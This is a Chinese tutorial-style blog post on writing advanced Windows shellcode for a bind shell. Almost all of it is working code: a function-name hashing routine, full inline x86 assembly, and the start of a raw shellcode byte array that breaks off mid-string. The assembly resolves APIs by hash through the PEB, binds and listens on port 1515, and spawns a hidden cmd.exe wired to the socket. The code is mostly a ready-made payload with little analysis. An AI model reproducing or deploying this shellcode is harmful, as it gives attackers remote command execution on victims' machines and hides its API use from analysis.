C/C++知识点之高级shellcode（Payload

C/C++知识点之高级shellcode（Payload_Bindshell）

小标 2019-06-10 来源：阅读 1214 评论 0

摘要：本文主要向大家介绍了C/C++知识点之高级shellcode（Payload_Bindshell），通过具体的内容向大家展示，希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之高级shellcode（Payload_Bindshell），通过具体的内容向大家展示，希望对大家学习C/C++知识点有所帮助。

1.函数加密
<pre><code class="hljs cpp">//函数加密 摘要（条件尽可能避免有0x00 尽可能避免发生碰撞）注意没有加.dll
int Hash_GetDigest(char * strFunName) {
 unsigned int nDigest = 0;
 while (*strFunName)
 {
 nDigest = ((nDigest << 25) | nDigest >> 7);
 nDigest = nDigest + *strFunName;
 strFunName++;
 }
 return nDigest;
}
</code></pre>
先运行试试成功 <img style="cursor: pointer;" src="//i2.51cto.com/images/blog/201806/05/54be8cc8e0f8122dca6b3685954f88db.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=" alt="高级shellcode（Payload_Bindshell）"> 测试shellcode 正常（注意win下要手动去开户telnet服务） <img style="cursor: pointer;" src="//i2.51cto.com/images/blog/201806/05/2281b1e350e1b907b6a12df3817a9776.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=" alt="高级shellcode（Payload_Bindshell）"> 把shellcode放入异常处就可以了
<pre><code class="hljs objectivec">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
//函数加密摘要（条件尽可能避免有0x00 尽可能避免发生碰撞）注意没有加.dll
int Hash_GetDigest(char * strFunName) {
 unsigned int nDigest = 0;
 while (*strFunName)
 {
 nDigest = ((nDigest << 25) | nDigest >> 7);
 nDigest = nDigest + *strFunName;
 strFunName++;
 }
 return nDigest;
}

int _tmain(int argc, _TCHAR* argv[])
{
 __asm
 {
 SUB ESP, 0x20 // 开辟一段栈空间，增加健壮性
 push ebp
 mov ebp, esp
 sub esp, 0x10
 JMP tag_Shellcode // 前置代码，避免后面的数据被解释为指令
 // [tag_Next-0x25] "cmd.exe\0"
 _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
 _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
 // [tag_Next-0x1D] "ws2_32.dll\0"
 _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
 _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
 _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
 // [tag_Next-0x12] "kernel32.dll\0"
 _asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
 _asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
 _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
 _asm _emit(0x00)
 tag_Shellcode:
 // 1. GetPC
 CALL tag_Next
 tag_Next :
 pop ebx // ebx = BaseAddr
 mov[ebp - 0x04], ebx // Local_1 = Shellcode BaseAddr
 // 2. 获取关键模块基址
 mov esi, dword ptr fs : [0x30] // esi = PEB的地址
 mov esi, [esi + 0x0C] // esi = 指向PEB_LDR_DATA结构的指针
 mov esi, [esi + 0x1C] // esi = 模块链表指针InInit...List
 mov esi, [esi] // esi = 访问链表中的第二个条目
 mov edx, [esi + 0x08] // edx = 获取Kernel32.dll基址
 // 3. 获取LoadLibraryExA的函数地址
 push edx // ImageBase = Kernel32.dll
 push 0xC0D83287 // nHashDigest = LoadLibraryExA Digest
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 mov edi, eax // edi = LoadLibraryExA
 // 4. 加载Kernel32.dll，增强兼容新（Win7取得的是KernelBase.dll的基址）
 lea esi, [ebx - 0x12] // eax = "kernel32.dll\0"
 push 0 // /-dwFlags = 0
 push 0 // |-hFile = 0
 push esi // |-lpLibFileName = "kernel32.dll"
 call edi // LoadLibraryExA()
 mov[ebp - 0x08], eax // Local_2 = Kernel32.dll基址
 // 5. 加载ws2_32.dll，以方便后面的网络通信编程
 lea esi, [ebx - 0x1D] // eax = "ws2_32.dll\0"
 push 0 // /-dwFlags = 0
 push 0 // |-hFile = 0
 push esi // |-lpLibFileName = "ws2_32.dll"
 call edi // LoadLibraryExA()
 mov[ebp - 0x0C], eax // Local_3 = ws2_32.dll基址
 // 6. 调用Payload部分
 push[ebp - 0x0C] // ws2_32.dll基址
 push[ebp - 0x08] // Kernel32.dll基址
 push[ebp - 0x04] // BaseAddr
 call fun_Payload
 // 7. Payload执行完毕，结束程序，防止被调试分析
 push[ebp - 0x08] // ImageBase = Param_2(Kernel32.dll)
 push 0x4FD18963 // nHashDigest = ExitProcess Digest 
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 push 0 // /-uExitCode = NULL
 call eax // ExitProcess()
 mov esp, ebp
 pop ebp

 /***********************************************************/
 /* 函数：根据Hash值获取指定的函数地址，返回值为关键函数地址*/
 /***********************************************************/
 fun_GetFunAddrByHash : // (int nHashDigest, int ImageBase)
 push ebp
 mov ebp, esp
 sub esp, 0x0C
 push edx
 // 1. 获取EAT、ENT与EOT的地址
 mov edx, [ebp + 0x0C] // edx = Param_1(ImageBase)
 mov esi, [edx + 0x3C] // esi = IMAGE_DOS_HEADER.e_lfanew
 lea esi, [edx + esi] // esi = PE文件头
 mov esi, [esi + 0x78] // esi = IMAGE_DIR...EXPORT.VirtualAddress
 lea esi, [edx + esi] // esi = 导出表首地址
 mov edi, [esi + 0x1C] // esi = IMAGE_EXP...ORY.AddressOfFunctions
 lea edi, [edx + edi] // edi = EAT首地址
 mov[ebp - 0x04], edi // Local_1 = edi = EAT首地址
 mov edi, [esi + 0x20] // edi = IMAGE_EXP...ORY.AddressOfNames
 lea edi, [edx + edi] // edi = ENT首地址
 mov[ebp - 0x08], edi // Local_2 = edi = ENT首地址
 mov edi, [esi + 0x24] // edi = IMAGE_EXP...ORY.AddressOfNameOrdinals
 lea edi, [edx + edi] // edi = EOT首地址
 mov[ebp - 0x0C], edi // Local_3 = edi = EOT首地址
 // 2. 循环对比ENT中的函数名
 xor ecx, ecx
 jmp tag_FirstCmp
 tag_CmpFunNameLoop :
 inc ecx
 tag_FirstCmp :
 mov esi, [ebp - 0x08] // esi = Local_2(ENT)
 mov esi, [esi + 4 * ecx] // esi = ENT RVA
 mov edx, [ebp + 0x0C] // edx = Param_1(ImageBase)
 lea esi, [edx + esi] // esi = ENT VA
 push[ebp + 0x08] // nDigest = Param_1(nHashDigest)
 push esi // strFunName = ENT VA
 call fun_Hash_CmpString // fun_Hash_CmpString
 test eax, eax
 jz tag_CmpFunNameLoop // 如果不相等则继续循环比对
 // 3. 成功后找到对应的序号
 mov esi, [ebp - 0x0C] // esi = Local_3(EOT)
 xor edi, edi
 mov di, [esi + ecx * 2] // edi = 用函数名数组下标在序号数组找到对应序号
 // 4. 使用序号作为索引，找到函数名所对应的函数地址
 mov edx, [ebp - 0x04] // edx = Local_1(EAT)
 mov esi, [edx + edi * 4] // esi = 用序号在函数地址数组找到对应的函数地址
 mov edx, [ebp + 0x0C] // edx = Param_1(ImageBase)
 // 5. 返回获取到的关键函数地址
 lea eax, [edx + esi] // 返回GetProcAddress的地址
 pop edx
 mov esp, ebp
 pop ebp
 retn 0x08

 /***************************************************************/
 /* 函数：根据摘要确认函数名，若函数名与此摘要相符返回1否则返回0*/
 /***************************************************************/
 fun_Hash_CmpString: //(char *strFunName, int nDigest)
 push ebp
 mov ebp, esp
 sub esp, 0x04 // 开辟局部变量并清零
 mov dword ptr[ebp - 0x04], 0x00
 push ebx // 保存用到的寄存器
 push ecx
 push edx
 mov esi, [ebp + 0x08] // esi = Param_1(strFunName)
 xor ecx, ecx
 xor eax, eax
 tag_HashLoop :
 mov al, [esi + ecx] // al = 字符串的第ECX个字符
 test al, al // 判断是否为0，为0结束循环
 jz tag_HashEnd
 mov ebx, [ebp - 0x04] // ebx = Local_1(摘要)
 shl ebx, 0x19 // ebx = 摘要<<0x19(25)
 mov edx, [ebp - 0x04] // edx = Local_1(摘要)
 shr edx, 0x07 // edx = 摘要>>0x07(07)
 or ebx, edx // edx = ebx|edx
 add ebx, eax // edx = edx + 字符的ASCII
 mov[ebp - 0x04], ebx
 inc ecx // ecx++
 jmp tag_HashLoop
 tag_HashEnd :
 mov ebx, [ebp + 0x0C] // ebx = Param_2(nDigest)
 mov edx, [ebp - 0x04] // edx = Local_1(摘要)
 xor eax, eax
 cmp ebx, edx
 jne tag_FunEnd
 mov eax, 1
 tag_FunEnd:
 pop edx
 pop ecx
 pop ebx
 mov esp, ebp
 pop ebp
 retn 0x08

 /**********************************/
 /* 函数：有效载荷部分，返回值Null */
 /**********************************/
 fun_Payload: // (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
 push ebp
 mov ebp, esp
 sub esp, 0x300
 // 1. 初始化Winsock服务
 push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
 push 0x80B46A3D // nHashDigest = WSAStartup Digest
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 lea esi, [ebp - 0x300] // esi = WSADATA
 push esi // /-lpWSAData = WSADATA
 push 0x0202 // |-wVersionRequested = 2.2
 call eax // WSAStartup()
 test eax, eax
 jnz tag_PaloadEnd
 // 2. 创建一个原始套接字
 push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
 push 0xDE78322D // nHashDigest = WSASocketA Digest 
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 push 0 // /-dwFlags = NULL
 push 0 // |-g = NULL
 push 0 // |-lpProtocolInfo = NULL
 push 6 // |-protocol = IPPROTO_TCP
 push 1 // |-type = SOCK_STREAM
 push 2 // |-af = AF_INET
 call eax // WSASocketA()
 mov[ebp - 0x04], eax // Local_1 = SOCKET
 // 3. 在任意地址（INADDR_ANY）上绑定一个端口1515[0x05BE-->0xBE05]
 push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
 push 0xDDA71064 // nHashDigest = bind Digest 
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 mov word ptr[ebp - 0x200], 0x02 // / SOCKADDR_IN.sin_family = AF_INET
 mov word ptr[ebp - 0x1FE], 0xEB05 // | SOCKADDR_IN.sin_port = 0xEB05(1515)
 mov dword ptr[ebp - 0x1FC], 0 // \ SOCKADDR_IN.sin_addr = INADDR_ANY 
 lea esi, [ebp - 0x200] // esi = SOCKADDR_IN
 push 0x14 // /-namelen = 0x14
 push esi // |-name = SOCKADDR_IN
 push[ebp - 0x04] // |-s = Local_1(SOCKET)
 call eax // bind()
 test eax, eax
 jnz tag_PaloadEnd
 // 4. 监听申请的连接，队列中可容纳5个链接
 push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
 push 0x4BD39F0C // nHashDigest = listen Digest 
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 push 0x7FFFFFFF // /-backlog = SOMAXCONN
 push[ebp - 0x04] // |-s = Local_1(SOCKET)
 call eax // listen()
 test eax, eax
 jnz tag_PaloadEnd
 // 5. 接受一个连接
 push[ebp + 0x10] // ImageBase = Param_3(ws2_32.dll)
 push 0x01971EB1 // nHashDigest = accept Digest 
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 push 0 // /-addrlen = NULL
 push 0 // |-addr = NULL
 push[ebp - 0x04] // |-s = Local_1(SOCKET)
 call eax // accept()
 mov[ebp - 0x04], eax // Local_1(SOCKET) = SOCKET
 // 6. 创建一个CMD进程，并将其输入与输出重定位到我们创建的套接字上
 push[ebp + 0x0C] // ImageBase = Param_2(Kernel32.dll)
 push 0x6BA6BCC9 // nHashDigest = CreateProcessA Digest 
 call fun_GetFunAddrByHash // fun_GetFunAddrByHash
 mov edx, eax // edx = CreateProcessA
 lea edi, [ebp - 0x90] // / 清空STARTUPINFOA
 mov ecx, 0x11 // | STARTUPINFOA
 mov eax, 0x00 // | 从[ebp-0x90]开始
 cld // | 到[ebp-0x48]结束
 rep stosd // |
 mov dword ptr[ebp - 0x90], 0x00000044 // | STA...A.cb = 48
 mov dword ptr[ebp - 0x64], 0x00000100 // | STA...A.dwFlags = STARTF_USESTDHANDLES
 mov word ptr[ebp - 0x60], 0x0000 // | STA...A.wShowWindow = SW_HIDE
 mov esi, [ebp - 0x04] // esi = Local_1(SOCKET)
 mov dword ptr[ebp - 0x58], esi // | STA...A.hStdInput = SOCKET
 mov dword ptr[ebp - 0x54], esi // | STA...A.hStdOutput = SOCKET
 mov dword ptr[ebp - 0x50], esi // \ STA...A.hStdError = SOCKET
 lea esi, [ebp - 0x90] // esi = STARTUPINFOA
 lea edi, [ebp - 0x200] // edi = PROCESS_INFORMATION 
 mov ebx, [ebp + 0x08] // ebx = Param_1(BaseAddr)
 lea ebx, [ebx - 0x25] // ebx = "cmd.exe\0"
 push edi // /-lpProcessInformation = PROCESS_INFORMATION
 push esi // |-lpStartupInfo = STARTUPINFOA
 push 0 // |-lpCurrentDirectory = NULL
 push 0 // |-lpEnvironment = NULL
 push 0 // |-dwCreationFlags = NULL
 push 1 // |-bInheritHandles = TRUE
 push 0 // |-lpThreadAttributes = NULL
 push 0 // |-lpProcessAttributes = NULL
 push ebx // |-lpCommandLine = "cmd.exe\0"
 push 0 // |-lpApplicationName = NULL
 call edx // CreateProcessA()
 tag_PaloadEnd :
 mov esp, ebp
 pop ebp
 retn 0x0C
 }

 return 0;
}</code></pre>
<pre><code class="hljs java">int _tmain(int argc, _TCHAR* argv[])
{
 char bShellcode[] = { "\x83\xEC\x20\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x0C\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x20\x00